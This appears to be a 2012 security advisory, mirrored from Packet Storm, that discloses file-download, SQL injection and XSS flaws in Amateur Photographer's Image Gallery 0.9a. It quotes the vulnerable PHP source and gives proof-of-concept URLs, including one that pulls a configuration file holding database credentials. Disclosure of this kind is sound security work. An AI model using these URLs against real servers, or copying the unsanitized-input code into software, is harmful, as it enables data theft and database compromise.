Lucene search
K

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection

🗓️ 18 Oct 2012 00:00:00Reported by cr4wl3rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Amateur Photographer's Image Gallery 0.9a XSS / SQL Injection vulnerabilit

Code
`ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³  
³ ³ Undergroundthalo Hacking Team - Security Advisory ³ ³  
³ ÚÁ----------------------------------------À³Ù-----------------------------------Á¿ ³  
³Ú´ Author : cr4wl3r ³ Release Date : 18-Okt-2012 ÿ³  
³³³ Product : Amateur Photographer's Image ³ Size : 302.3 kB ³³³  
³³³ Link : http://sourceforge.net/projects/ap-imagegallery ³³³  
³ÃÁ------------------------------------------³-------------------------------------Á´³  
³³ gallery-0.9a.zip ³ ³³  
³ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ³  
³ Details ³  
³ ³  
³ Amateur Photographer's Image Gallery 0.9a ³  
³ ³  
³ A image gallery for photographers who don't care if their photos are publicly ³  
³ available on the web. Offers many advanced features such as image preloading ³  
³ which enables you to switch photos without waiting for the next photo to load. ³  
³ In this vulnerability, attacker can download any file from server. ³  
³ for example, downloading a configuration file contains information username ³  
³ database, another case attacker can inject database with SQL Injection ³  
³ or XSS only from URL ³  
³------------------------------------------------------------------------------------³  
RFD Code in force-download.php  
  
<?php  
$filename = $_GET['file'];  
  
// required for IE, otherwise Content-disposition is ignored  
if(ini_get('zlib.output_compression'))  
ini_set('zlib.output_compression', 'Off');  
  
// addition by Jorg Weske  
$file_extension = strtolower(substr(strrchr($filename,"."),1));  
  
if( $filename == "" )   
{  
echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";  
exit;  
} elseif ( ! file_exists( $filename ) )   
{  
echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";  
exit;  
};  
switch( $file_extension )  
{  
case "pdf": $ctype="application/pdf"; break;  
case "exe": $ctype="application/octet-stream"; break;  
case "zip": $ctype="application/zip"; break;  
case "doc": $ctype="application/msword"; break;  
case "xls": $ctype="application/vnd.ms-excel"; break;  
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;  
case "gif": $ctype="image/gif"; break;  
case "png": $ctype="image/png"; break;  
case "jpeg":  
case "jpg": $ctype="image/jpg"; break;  
default: $ctype="application/force-download";  
}  
header("Pragma: public"); // required  
header("Expires: 0");  
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");  
header("Cache-Control: private",false); // required for certain browsers   
header("Content-Type: $ctype");  
// change, added quotes to allow spaces in filenames, by Rajkumar Singh  
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );  
header("Content-Transfer-Encoding: binary");  
header("Content-Length: ".filesize($filename));  
readfile("$filename"); <------- BOOOOOOM  
exit();  
?>  
  
SQLi Code plist.php  
  
<?php  
include 'database.php';  
$index = 1;  
$albumid = $_GET['albumid'];  
  
$folder = select_row("SELECT folder FROM albums where id = $albumid");  
$folder = $folder['folder'];  
  
$retid = select("SELECT * FROM photos where albumid = $albumid ORDER BY date, large");  
while ($row = mysql_fetch_array($retid))  
{  
if ($index == 1) { echo "<tr>\n"; } // begin row  
$small = $row["small"];  
$id = $row["id"];  
echo "<td width='200px' height='200px' align='center' valign='middle'><a href='photo.php?id=$id&albumid=$albumid'><img src='albums/$folder/$small' border='0' /></a></td>"; // display cell  
if ($index == 3) { echo "\n</tr>"; $index = 1; } // end row  
else { $index = $index + 1; } // increment count  
}  
?>  
  
SQLi Code fullscreen.php  
  
<?php  
require 'database.php';  
  
// initialize variables  
$current_photo_id = $_GET['id'];  
$album_id = $_GET['albumid'];  
$js_psuedo_index = 0;  
$number_of_photos = -1;  
echo "var img = [];\n";  
  
// find the folder where the photos are located and the album name  
$row = select_row("SELECT * FROM albums where id = $album_id");  
  
$folder = $row['folder'];  
$album_name = $row['name'];  
  
  
³------------------------------------------------------------------------------------³  
³ Proof of Concept : ³  
³ ³  
³ http://b0x/path_gallery/force-download.php?file=[RFD] ³  
³ http://b0x/path_gallery/force-download.php?file=constants.php ³  
³ http://b0x/path_gallery/plist.php?albumid=[SQLi] ³  
³ http://b0x/path_gallery/plist.php?albumid=[XSS] ³  
³ http://b0x/path_gallery/fullscreen.php?albumid=[SQLi] ³  
³ ³  
³ ³  
³ ³  
³ Undergroundthalo Hacking Team ³  
³ Site: http://0xuht.org ³  
³ Twitter: @hackb0x ³  
³ ³  
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³  
³ ³ Happy Birhtday Saskia Adam :) ³ ³  
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation